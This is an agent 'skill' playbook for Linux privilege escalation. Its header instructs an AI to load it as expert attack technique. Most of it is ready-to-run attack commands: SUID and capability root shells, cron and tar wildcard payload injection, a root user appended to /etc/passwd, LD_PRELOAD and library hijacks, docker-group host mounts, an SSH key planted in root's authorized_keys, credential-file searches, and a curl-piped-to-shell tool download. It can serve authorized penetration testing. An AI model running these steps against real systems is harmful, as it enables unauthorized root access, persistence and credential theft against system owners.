linux-privilege-escalation

# SKILL: Linux Privilege Escalation — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations. ## 0. RELATED ROUTING Before going deep, consider loading: - [container-escape-techniques](../container-escape-techniques/SKILL.md) when the target is a container and you need to escape to host - [linux-security-bypass](../linux-security-bypass/SKILL.md) when facing restricted shells, AppArmor, SELinux, or seccomp - [linux-lateral-movement](../linux-lateral-movement/SKILL.md) after obtaining root for pivoting to adjacent hosts - [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) when the host is a Kubernetes node ### Advanced Reference Also load [SUID_CAPABILITIES_TRICKS.md](./SUID_CAPABILITIES_TRICKS.md) when you need: - Top 30 SUID binaries with exact exploitation commands (GTFOBins) - Capability-specific exploitation for each dangerous cap - Custom SUID binary exploitation methodology Also load [KERNEL_EXPLOITS_CHECKLIST.md](./KERNEL_EXPLOITS_CHECKLIST.md) when you need: - Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.) - Exploit compilation tips and cross-compilation notes - Kernel exploit stability assessment --- ## 1. ENUMERATION CHECKLIST Run these immediately after landing a shell: ### System Info ```bash uname -a # Kernel version cat /etc/os-release # Distro and version cat /proc/version # Kernel compile info hostname && id && whoami # Current context ``` ### Sudo & SUID/SGID ```bash sudo -l # What can we run as root? find / -perm -4000 -type f 2>/dev/null # SUID binaries find / -perm -2000 -type f 2>/dev/null # SGID binaries getcap -r / 2>/dev/null # Files with capabilities ``` ### Cron & Timers ```bash cat /etc/crontab ls -la /etc/cron.* crontab -l systemctl list-timers --all # systemd timers ``` ### Writable Files & Dirs ```bash find / -writable -type f 2>/dev/null | grep -v proc ls -la /etc/passwd /etc/shadow # Check permissions find / -perm -o+w -type d 2>/dev/null # World-writable dirs ``` ### Network & Services ```bash ss -tlnp # Listening services cat /proc/net/tcp # Raw TCP connections ps aux # Running processes env # Environment variables (credentials?) ``` ### Credential Locations ```bash cat ~/.bash_history cat ~/.mysql_history find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30 find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null ``` --- ## 2. SUID/SGID EXPLOITATION ### GTFOBins Methodology 1. Find SUID binaries: `find / -perm -4000 -type f 2>/dev/null` 2. Cross-reference each with [GTFOBins](https://gtfobins.github.io/) 3. Use the "SUID" section specifically — not all binary abuse works with SUID ### Quick-Win SUID Escalations | Binary | Command | |---|---| | `bash` | `bash -p` | | `find` | `find . -exec /bin/sh -p \; -quit` | | `vim` | `vim -c ':!/bin/sh'` | | `python` | `python -c 'import os; os.execl("/bin/sh","sh","-p")'` | | `env` | `env /bin/sh -p` | | `nmap` (old) | `nmap --interactive` → `!sh` | | `awk` | `awk 'BEGIN {system("/bin/sh -p")}'` | | `less` | `less /etc/passwd` → `!/bin/sh` | | `cp` | Copy `/etc/passwd`, add root user, copy back | ### Shared Library Hijacking (SUID Binary) ```bash ldd /usr/local/bin/suid_binary # Check loaded libraries strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so" # Find load paths # If it loads from a writable directory — inject constructor: gcc -shared -fPIC -o /writable/path/libevil.so evil.c # evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p") ``` --- ## 3. CAPABILITIES ABUSE | Capability | Risk | Exploitation | |---|---|---| | `cap_setuid` | **Critical** | `python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'` | | `cap_dac_override` | **Critical** | Read/write any file regardless of permissions | | `cap_dac_read_search` | **High** | Read any file — dump `/etc/shadow` | | `cap_sys_admin` | **Critical** | Mount filesystems, BPF, namespace manipulation | | `cap_sys_ptrace` | **High** | Inject into root processes via ptrace | | `cap_net_raw` | **Medium** | Sniff traffic, ARP spoofing | | `cap_net_bind_service` | **Low** | Bind to privileged ports (<1024) | | `cap_fowner` | **High** | Change ownership of any file | ```bash # Find binaries with capabilities getcap -r / 2>/dev/null # Example: python3 with cap_setuid # /usr/bin/python3 = cap_setuid+ep python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' ``` --- ## 4. CRON / TIMER ABUSE ### Writable Cron Scripts ```bash # Find cron jobs running as root cat /etc/crontab | grep root ls -la /etc/cron.d/ # If a root-owned cron runs a script writable by current user: echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh # Wait for cron → /tmp/bash -p ``` ### PATH Hijacking in Cron ```bash # If crontab has: PATH=/home/user:/usr/local/bin:/usr/bin # And runs: * * * * * root backup.sh (without full path) # Create /home/user/backup.sh: echo '#!/bin/bash' > /home/user/backup.sh echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh chmod +x /home/user/backup.sh ``` ### Wildcard Injection (tar) ```bash # If cron runs: tar czf /backup/archive.tar.gz * # In the target directory, create: echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > "--checkpoint=1" # tar interprets filenames as arguments ``` ### pspy — Monitor Processes Without Root ```bash # Upload pspy64 or pspy32 to target ./pspy64 # Watch for cron jobs, services, and background processes ``` --- ## 5. NFS NO_ROOT_SQUASH ```bash # On attacker: check exported shares showmount -e TARGET_IP # If no_root_squash is set: mount -t nfs TARGET_IP:/share /mnt/nfs # As root on attacker box: cp /bin/bash /mnt/nfs/bash chmod +s /mnt/nfs/bash # On target: /share/bash -p # root shell ``` --- ## 6. WRITABLE /etc/passwd OR /etc/shadow ### Writable /etc/passwd ```bash # Generate password hash openssl passwd -1 -salt xyz password123 # → $1$xyz$...hash... # Append root-equivalent user echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd # Or replace root's 'x' with generated hash (if no shadow file) ``` ### Writable /etc/shadow ```bash # Generate SHA-512 hash mkpasswd -m sha-512 password123 # Replace root's hash in /etc/shadow ``` --- ## 7. LD_PRELOAD / LD_LIBRARY_PATH WITH SUDO ```bash # If sudo -l shows: env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH # Compile .so with _init() that calls setresuid(0,0,0) + system("/bin/bash -p") gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary ``` --- ## 8. DOCKER GROUP → ROOT ```bash # If current user is in the docker group: id # check for "docker" in groups # Mount host filesystem docker run -v /:/mnt --rm -it alpine chroot /mnt sh # Or add SSH key docker run -v /root:/mnt --rm -it alpine sh -c \ 'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys' ``` --- ## 9. PYTHON / PERL / RUBY LIBRARY HIJACKING ```bash # Python: if a root-executed script does "import somelib" # Check python path order: python3 -c 'import sys; print("\n".join(sys.path))' # Place malicious module in writable path that comes first: cat > /writable/path/somelib.py << 'EOF' import os os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash") EOF # Perl: PERL5LIB / @INC manipulation # Ruby: RUBYLIB / $LOAD_PATH manipulation ``` --- ## 10. AUTOMATED TOOLS | Tool | Purpose | Command | |---|---|---| | **LinPEAS** | Comprehensive enumeration | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` | | **linux-exploit-suggester** | Kernel exploit suggestions | `./linux-exploit-suggester.sh` | | **pspy** | Monitor processes (no root needed) | `./pspy64` | | **LinEnum** | Legacy enumeration | `./LinEnum.sh -t` | | **GTFOBins** | SUID/sudo/capability abuse reference | https://gtfobins.github.io/ | --- ## 11. PRIVILEGE ESCALATION DECISION TREE ``` Low-privilege shell obtained │ ├── sudo -l shows entries? │ ├── GTFOBins match? → exploit directly │ ├── env_keep has LD_PRELOAD? → LD_PRELOAD hijack (§7) │ ├── NOPASSWD on custom script? → review script for injection │ └── (ALL) with password? → check for password reuse/hashes │ ├── SUID/SGID binaries found? │ ├── Standard binary on GTFOBins? → SUID exploit (§2) │ ├── Custom binary? → reverse engineer, check libs (strace/ltrace) │ └── Shared lib from writable path? → library hijack (§2) │ ├── Capabilities on binaries? │ ├── cap_setuid? → instant root (§3) │ ├── cap_dac_override? → write /etc/passwd (§6) │ ├── cap_sys_admin? → mount / namespace tricks │ └── cap_sys_ptrace? → process injection │ ├── Cron jobs running as root? │ ├── Writable script? → inject payload (§4) │ ├── Missing full path? → PATH hijack (§4) │ └── Uses wildcards? → wildcard injection (§4) │ ├── Writable sensitive files? │ ├── /etc/passwd writable? → add root user (§6) │ ├── /etc/shadow writable? → replace root hash (§6) │ └── systemd unit files writable? → add ExecStartPre │ ├── Docker/LXD group membership? │ └── Yes → mount host filesystem (§8) │ ├── NFS shares with no_root_squash? │ └── Yes → SUID binary via NFS (§5) │ ├── Kernel version old/unpatched? │ └── Check KERNEL_EXPLOITS_CHECKLIST.md │ └── None of the above? ├── Run LinPEAS for comprehensive scan ├── Check for password reuse (bash_history, config files) ├── Check internal services (127.0.0.1 listeners) └── Monitor processes with pspy for hidden opportunities ```